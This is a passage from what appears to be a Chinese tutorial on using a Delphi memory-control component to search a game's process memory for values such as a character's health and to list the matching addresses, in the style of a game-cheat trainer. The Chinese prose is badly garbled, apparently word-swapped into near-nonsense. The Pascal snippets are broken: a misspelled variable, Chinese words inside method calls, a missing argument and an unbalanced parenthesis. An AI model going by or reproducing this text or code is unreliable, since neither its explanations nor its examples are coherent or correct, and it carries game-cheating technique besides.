minV:=4*1024*1024;
V:=StrToInt();
with MpMemCtl1 do
begin
MaxAddress:=maxV;
MinAddress:=minV;
SearchValue:=SeaarchV;
ShowGauge:=Gauge1;
搜索(概要的)
end;
if first then 概要的:=假

  2、 假使还不整整要改变的水流地址值,只看法要改变的值越大或越小。,尔后争辩我的增减条款举行搜索和辨析。。

  如有些游戏的性格血值不显示浮现,除了要换衣服人的价,只要检查增进或缩减内存量,本人才干搜索到。假使即将到来的角色被牵挂击中,同样就缩小了性格的血型。,尔后,应用人家约简来搜索和辨析。,假使即将到来的性格吃了血,血液就会增进。,尔后这是人家增量搜索辨析在即将到来的时候。检查延续搜索,最不可能性的,搜索尺寸放逐值的内存地址。。

  假使需要的东西应用支配权来使掉转船头对内存值的准确的搜索,实际上,方法很复杂。,只需调动支配权的相比()方法。MaxAddress、在下面的章节中极小的描绘了MnAtter属性设置。,在这里不再回收。在即将到来的辨析中不必要委派更多的搜索值属性。假使必要显示搜索目录大约可以把ShowGauge属性上升人家确切的的TGauge支配权。

compare (
isFirst:Boolean 这是概要的流的搜索吗?
Atype:必须的 搜索辨析类型
):Boolean

  为了预付款搜索辨析达到目的搜索生产率、事情逻辑的使掉转船头,尔后你必要去世人家参量,不经宣誓而庄严宣布条件是概要的流的做调回工厂。有两打字型的搜索辨析类型:假使参量值为0,尔后表现增量搜索。。假使参量值为1,尔后表现缩减搜索。。装置实比方次:

if RadioButton1.Checked then v:=0
else v:=1;
maxV:=1024*1024*1024;
maxV:=2*MaxV;
minV:=4*1024*1024;
with MpMemCtl1 do
begin
MaxAddress:=maxV;
MinAddress:=minV;
ShowGauge:=Gauge1;
相比(概要的),v);
end;
if first then 概要的:=假

  五、获取内存地址值

  在把持中,供给物一种获取辨析后的内存地址列表的方法。,只必要调动GETAdvestsRead()方法,便可以走快辨析工艺流程中或辨析归结为地址列表。但假使采取由于增量式或DEC的搜索和辨析方法,因而,概要的流的,可以搜索很多地址。,偿还的急行太长,大约提议应用getAddressCount()方法决定赢利列表为必然尺寸后才授予赢利。

getAddressList():TStrings 赢利地址字母串列表
getAddressCount():Integer 赢利地址字母串列表尺寸

  装置实比方次:

if MpMemCtl1.getAddressCount() <100 then
listbox1.Items:=MpMemCtl1.getAddressList();

  检查超过五个的手续,它可以被集成到人家对立直接地的功用中。,由于内存把持的游戏可插件。FPE功用有人家键入比。应用此器,检查某个方法,本人不只可以辨析游戏属性的单个的地址。,它还可以辨析多内存游戏属性储藏处地址的偏爱地。。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Message *
Name*
Email *